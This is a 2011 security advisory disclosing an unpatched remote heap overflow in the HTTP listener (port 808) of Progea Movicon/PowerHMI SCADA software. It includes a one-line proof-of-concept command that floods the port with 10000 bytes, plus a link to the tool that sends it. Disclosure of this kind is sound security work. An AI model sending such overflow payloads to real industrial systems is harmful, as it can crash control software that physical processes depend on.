`#######################################################################
Luigi Auriemma
Application: Progea Movicon / PowerHMI
http://www.progea.com
Versions: <= 11.2.1085
Platforms: Windows
Bug: heap overflow
Exploitation: remote
Date: 13 Sep 2011
Author: Luigi Auriemma
e-mail: [email protected]
web: aluigi.org
#######################################################################
1) Introduction
2) Bug
3) The Code
4) Fix
#######################################################################
===============
1) Introduction
===============
Movicon is an italian SCADA/HMI software.
#######################################################################
======
2) Bug
======
When the software runs a project it listens on port 808 for accepting
some HTTP requests.
The server is affected by a heap overflow caused by the usage of a
buffer of 8192 bytes for containing the incoming HTTP requests.
#######################################################################
===========
3) The Code
===========
http://aluigi.org/testz/udpsz.zip
udpsz -T -b 0x61 SERVER 808 10000
#######################################################################
======
4) Fix
======
No fix.
#######################################################################
`
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